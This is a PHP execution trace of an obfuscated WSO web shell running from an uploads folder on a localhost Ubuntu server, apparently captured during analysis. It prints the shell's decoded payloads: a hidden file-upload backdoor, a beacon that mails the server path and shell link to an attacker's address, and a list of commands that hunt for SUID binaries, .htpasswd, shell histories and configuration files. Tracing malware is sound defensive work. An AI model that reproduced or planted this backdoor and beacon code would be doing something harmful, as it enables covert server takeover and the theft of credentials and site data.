2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	24	$hex = 'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	0	0.013046	1247992	base64_decode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
3	24	1	0.013069	1248472
3	24	R			'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
3	25	0	0.013112	1248440	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'H�DX�0\024���\027�C�\nα�R�a{�*��D�Хӑ�)\t&��a��qB��~�{��&i��e\022\025/�wP��c�q\033Ǹ�\006gp8(3һ�\035l{�K�+\017���zm�K���S\036�A����OHe�3�IVR�\032vl�\022�1[�Moq;�4N�|�Tˋ��>m+�J�\016�M��04<�\026�n%�Q�\030)��=_�\023$\000y��UyU�R��ANv��-�w焒&���1K��c��\'c��\024&�4������zѧ�3�ҋ�t��i<K���l�\024Y����!�-ަB�6_0���y����$8�c�\001'
3	25	1	0.013149	1248792
3	25	R			'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
3	26	0	0.013189	1248312	gzinflate	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'U�QK�0\024���\027�P�\nα�E�n{�*��Q�Хӑ�)\t&��n��dO��~�{��&v��r\022\025/�jC��p�d\033Ǹ�\006tc8(3һ�\035y{�X�+\017���mz�X���F\036�N����BUr�3�VIE�\032iy�\022�1[�Zbd;�4A�|�Gˋ��>z+�W�\016�Z��04<�\026�a%�D�\030)��=_�\023$\000l��HlH�E��NAi��-�j焒&���1X��p��\'p��\024&�4������mѧ�3�ҋ�g��v<X���y�\024L����!�-ަO�6_0���l����$8�p�\001'
3	26	1	0.013234	1248792
3	26	R			'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	0	0.013264	1248440	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	25	1	'vs(vffrg($_TRG["ynjyk"])) \t{  rpub \'<ugzy><obql><sbez zrgubq=CBFG rapglcr="zhygvcneg/sbez-qngn" npgvba=""><vachg glcr="svyr" anzr="ynjyk"><vachg glcr=fhozvg inyhr="Hc"></sbez></obql></ugzy>\';$ynjyk = @$_SVYRF["ynjyk"];   vs ($ynjyk["anzr"] != \'\') {  $shyycngu = $_ERDHRFG["cngu"] . $ynjyk["anzr"];  vs (zbir_hcybnqrq_svyr($ynjyk[\'gzc_anzr\'], $shyycngu)) {     rpub "<u1><n uers=\'$shyycngu\'>BX-Pyvpx urer!</n></u1>"; }} }'
3	27	1	0.013295	1248920
3	27	R			'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'
3	28	0	0.013347	1251112	eval	1	'if(isset($_GET["lawlx"])) \t{  echo \'<html><body><form method=POST enctype="multipart/form-data" action=""><input type="file" name="lawlx"><input type=submit value="Up"></form></body></html>\';$lawlx = @$_FILES["lawlx"];   if ($lawlx["name"] != \'\') {  $fullpath = $_REQUEST["path"] . $lawlx["name"];  if (move_uploaded_file($lawlx[\'tmp_name\'], $fullpath)) {     echo "<h1><a href=\'$fullpath\'>OK-Click here!</a></h1>"; }} }'	/var/www/html/uploads/wso.php(5) : eval()'d code	25	0
3	28	1	0.013375	1251112
3	29	0	0.013383	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	28	2	'error_log'	NULL
3	29	1	0.013399	1248608
3	29	R			''
3	30	0	0.013413	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	29	2	'log_errors'	0
3	30	1	0.013427	1248608
3	30	R			'0'
3	31	0	0.013440	1248536	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	30	2	'max_execution_time'	0
3	31	1	0.013455	1248608
3	31	R			'0'
3	32	0	0.013468	1248536	set_time_limit	0		/var/www/html/uploads/wso.php(5) : eval()'d code	31	1	0
3	32	1	0.013482	1248600
3	32	R			FALSE
3	33	0	0.013496	1248568	version_compare	0		/var/www/html/uploads/wso.php(5) : eval()'d code	32	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
3	33	1	0.013513	1248664
3	33	R			FALSE
3	34	0	0.013526	1248568	define	0		/var/www/html/uploads/wso.php(5) : eval()'d code	35	2	'VERSION'	'SHELL 2018'
3	34	1	0.013542	1248672
3	34	R			TRUE
3	35	0	0.013555	1248600	get_magic_quotes_gpc	0		/var/www/html/uploads/wso.php(5) : eval()'d code	36	0
3	35	1	0.013568	1248600
3	35	R			FALSE
3	36	0	0.013582	1248600	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	50	1	'localhost'
3	36	1	0.013595	1248696
3	36	R			'421aa90e079fa326b6494f812ad13e79'
3	37	0	0.013610	1248600	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	51	1	'localhost'
3	37	1	0.013623	1248696
3	37	R			'421aa90e079fa326b6494f812ad13e79'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	51	_COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
3	38	0	0.013653	1248664	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	62	3	'Linux'	0	3
3	38	1	0.013668	1248792
3	38	R			'Lin'
3	39	0	0.013681	1248696	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	62	1	'Lin'
3	39	1	0.013695	1248760
3	39	R			'lin'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	65	$os = 'nix'
3	40	0	0.013719	1248664	ini_get	0		/var/www/html/uploads/wso.php(5) : eval()'d code	66	1	'safe_mode'
3	40	1	0.013734	1248696
3	40	R			FALSE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	66	$safe_mode = FALSE
3	41	0	0.013758	1248664	error_reporting	0		/var/www/html/uploads/wso.php(5) : eval()'d code	68	1	0
3	41	1	0.013772	1248704
3	41	R			22527
3	42	0	0.013784	1248664	ini_get	0		/var/www/html/uploads/wso.php(5) : eval()'d code	69	1	'disable_functions'
3	42	1	0.013799	1249144
3	42	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	69	$disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3	43	0	0.013845	1249112	getcwd	0		/var/www/html/uploads/wso.php(5) : eval()'d code	70	0
3	43	1	0.013860	1249160
3	43	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	70	$home_cwd = '/var/www/html/uploads'
3	44	0	0.013886	1249160	getcwd	0		/var/www/html/uploads/wso.php(5) : eval()'d code	73	0
3	44	1	0.013899	1249208
3	44	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	73	$cwd = '/var/www/html/uploads'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	79	$cwd .= '/'
3	45	0	0.013940	1249208	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	266	1	'posix_getpwuid'
3	45	1	0.013955	1249248
3	45	R			TRUE
3	46	0	0.013969	1249208	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	267	1	'posix_getgrgid'
3	46	1	0.013983	1249248
3	46	R			TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	345	$xd = 'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	0	0.014017	1249208	base64_decode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H'
3	47	1	0.014040	1249624
3	47	R			'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
3	48	0	0.014080	1249592	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'}�bx�0\020��\017�\035�Ec\003�p�Qٟ�4��̖\ni�\022%Sdq�0�駷��@J_帻��\005\\�[k\002T�]��n8||�J�Kb�����\r��wrZ��$�5/��86�R\b��0\002\a<cf\032��d�՛�Ϸ,�L\036\022�m�̙�9?�^\rF\024\033\024\020\025��\027|���$��Jd�Q���{�?+�H����}Qn�!�u-�\f/x^X�\034\r\006�w�(x\025� \r�m�g��ċ�EƂ<%�<�&���T�����~\f/�\a'
3	48	1	0.014117	1249880
3	48	R			'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
3	49	0	0.014155	1249464	gzinflate	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	'}�ok�0\020��\017�\035�Rp\003�c�Dٟ�4��̖\nv�\022%Fqd�0�駷��@W_帻��\005\\�[x\002G�]��a8||�W�Xo�����\r��jeM��$�5/��86�E\b��0\002\a<ps\032��q�՛�Ϸ,�Y\036\022�z�̙�9?�^\rS\024\033\024\020\025��\027|���$��Wq�D���{�?+�U����}Da�!�h-�\f/k^K�\034\r\006�j�(k\025� \r�z�t��ċ�RƂ<%�<�&���G�����~\f/�\a'
3	49	1	0.014198	1250008
3	49	R			' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	0	0.014228	1249720	str_rot13	0		/var/www/html/uploads/wso.php(5) : eval()'d code	346	1	' $urk = "unpxre0882@tznvy.pbz";\r\n $onfyvx = "Sbhaq";\r\n $kq = "Svyr Cngu : " . $_FREIRE[\'QBPHZRAG_EBBG\'] . "\\e\\a";\r\n $kq.= "Freire Nqzva : " . $_FREIRE[\'FREIRE_NQZVA\'] . "\\e\\a";\r\n $kq.= "Freire Bcrengvat Flfgrz : " . $_FREIRE[\'FREIRE_FBSGJNER\'] . "\\e\\a";\r\n $kq.= "Furyy Yvax : uggc://" . $_FREIRE[\'FREIRE_ANZR\'] . $_FREIRE[\'CUC_FRYS\'] . "\\e\\a";\r\n $kq.= "Fvgr : " . $_FREIRE[\'UGGC_UBFG\'] . "\\e\\a";\r\n znvy($urk, $onfyvx, $kq); ?>'
3	50	1	0.014255	1250264
3	50	R			' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'
3	51	0	0.014313	1252648	eval	1	' $hex = "hacker0882@gmail.com";\r\n $baslik = "Found";\r\n $xd = "File Path : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\\r\\n";\r\n $xd.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\\r\\n";\r\n $xd.= "Server Operating System : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\\r\\n";\r\n $xd.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\\r\\n";\r\n $xd.= "Site : " . $_SERVER[\'HTTP_HOST\'] . "\\r\\n";\r\n mail($hex, $baslik, $xd); ?>'	/var/www/html/uploads/wso.php(5) : eval()'d code	346	0
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	1	$hex = 'hacker0882@gmail.com'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	2	$baslik = 'Found'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	3	$xd = 'File Path : /var/www/html\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	4	$xd .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	5	$xd .= 'Server Operating System : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	6	$xd .= 'Shell Link : http://localhost/uploads/wso.php\r\n'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	7	$xd .= 'Site : localhost\r\n'
4	52	0	0.014450	1252872	mail	0		/var/www/html/uploads/wso.php(5) : eval()'d code(346) : eval()'d code	8	3	'hacker0882@gmail.com'	'Found'	'File Path : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer Operating System : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/wso.php\r\nSite : localhost\r\n'
4	52	1	0.015215	1252968
4	52	R			FALSE
3	51	1	0.015241	1252872
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	615	$aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3	53	0	0.015325	1249744	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	1114	1	'actionFilesMan'
3	53	1	0.015342	1249784
3	53	R			TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	1115	_POST['a'] = 'FilesMan'
3	54	0	0.015370	1249744	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	1118	1	'actionFilesMan'
3	54	1	0.015385	1249784
3	54	R			TRUE
3	55	0	0.015400	1249704	actionFilesMan	1		/var/www/html/uploads/wso.php(5) : eval()'d code	1119	0
4	56	0	0.015415	1249704	hardHeader	1		/var/www/html/uploads/wso.php(5) : eval()'d code	862	0
5	57	0	0.015431	1252240	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	122	1	'/var/www/html/uploads/'
5	57	1	0.015447	1252432
5	57	R			'/var/www/html/uploads/'
5	58	0	0.015463	1252240	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	123	1	'FilesMan'
5	58	1	0.015478	1252432
5	58	R			'FilesMan'
5	59	0	0.015493	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	124	1	'UTF-8'
5	59	1	0.015507	1252944
5	59	R			'UTF-8'
5	60	0	0.015522	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	125	2	NULL	'\n'
5	60	1	0.015536	1252824
5	60	R			FALSE
5	61	0	0.015550	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	125	2	NULL	3
5	61	1	0.015565	1252984
5	61	R			''
5	62	0	0.015579	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	126	2	NULL	'\n'
5	62	1	0.015593	1252824
5	62	R			FALSE
5	63	0	0.015606	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	126	2	NULL	3
5	63	1	0.015620	1252984
5	63	R			''
5	64	0	0.015634	1252752	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	127	2	NULL	'\n'
5	64	1	0.015647	1252824
5	64	R			FALSE
5	65	0	0.015660	1252752	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	127	2	NULL	3
5	65	1	0.015674	1252984
5	65	R			''
5	66	0	0.015688	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	138	1	'localhost'
5	66	1	0.015702	1257968
5	66	R			'421aa90e079fa326b6494f812ad13e79'
5	67	0	0.015717	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	139	1	'localhost'
5	67	1	0.015730	1257968
5	67	R			'421aa90e079fa326b6494f812ad13e79'
5	68	0	0.015745	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	140	1	'localhost'
5	68	1	0.015758	1257968
5	68	R			'421aa90e079fa326b6494f812ad13e79'
5	69	0	0.015772	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	141	1	'localhost'
5	69	1	0.015785	1257968
5	69	R			'421aa90e079fa326b6494f812ad13e79'
5	70	0	0.015799	1257872	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	142	1	'localhost'
5	70	1	0.015882	1257968
5	70	R			'421aa90e079fa326b6494f812ad13e79'
5	71	0	0.015900	1257872	addslashes	0		/var/www/html/uploads/wso.php(5) : eval()'d code	154	1	'/uploads/wso.php'
5	71	1	0.015914	1257904
5	71	R			'/uploads/wso.php'
5	72	0	0.015938	1249792	diskfreespace	0		/var/www/html/uploads/wso.php(5) : eval()'d code	186	1	'/var/www/html/uploads/'
5	72	1	0.015957	1249824
5	72	R			203172294656
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	186	$freeSpace = 203172294656
5	73	0	0.015986	1249792	disk_total_space	0		/var/www/html/uploads/wso.php(5) : eval()'d code	187	1	'/var/www/html/uploads/'
5	73	1	0.016001	1249824
5	73	R			232015802368
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	187	$totalSpace = 232015802368
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	188	$totalSpace = 232015802368
5	74	0	0.016039	1249792	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	189	1	'r'
5	74	1	0.016054	1249872
5	74	R			'5.15.0-60-generic'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	189	$release = '5.15.0-60-generic'
5	75	0	0.016082	1249840	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	190	1	's'
5	75	1	0.016095	1249904
5	75	R			'Linux'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	190	$kernel = 'Linux'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	191	$explink = 'https://www.exploit-db.com/search/?action=search&description='
5	76	0	0.016134	1249872	strpos	0		/var/www/html/uploads/wso.php(5) : eval()'d code	192	2	'Linux'	'Linux'
5	76	1	0.016148	1249944
5	76	R			0
5	77	0	0.016161	1249872	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	193	3	'5.15.0-60-generic'	0	6
5	77	1	0.016176	1250000
5	77	R			'5.15.0'
5	78	0	0.016189	1249920	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	193	1	'Linux Kernel 5.15.0'
5	78	1	0.016203	1250000
5	78	R			'Linux+Kernel+5.15.0'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	193	$explink .= 'Linux+Kernel+5.15.0'
5	79	0	0.016230	1249984	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	196	1	'posix_getegid'
5	79	1	0.016244	1250024
5	79	R			TRUE
5	80	0	0.016258	1249984	posix_geteuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	202	0
5	80	1	0.016271	1249984
5	80	R			33
5	81	0	0.016283	1249984	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	202	1	33
5	81	1	0.016316	1250816
5	81	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	202	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
5	82	0	0.016360	1250784	posix_getegid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	203	0
5	82	1	0.016373	1250784
5	82	R			33
5	83	0	0.016385	1250784	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	203	1	33
5	83	1	0.016413	1251448
5	83	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	203	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	204	$user = 'www-data'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	205	$uid = 33
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	206	$group = 'www-data'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	207	$gid = 33
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	209	$cwd_links = ''
5	84	0	0.016505	1250064	explode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	210	2	'/'	'/var/www/html/uploads/'
5	84	1	0.016520	1250672
5	84	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	210	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	211	$n = 6
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>/</a>'
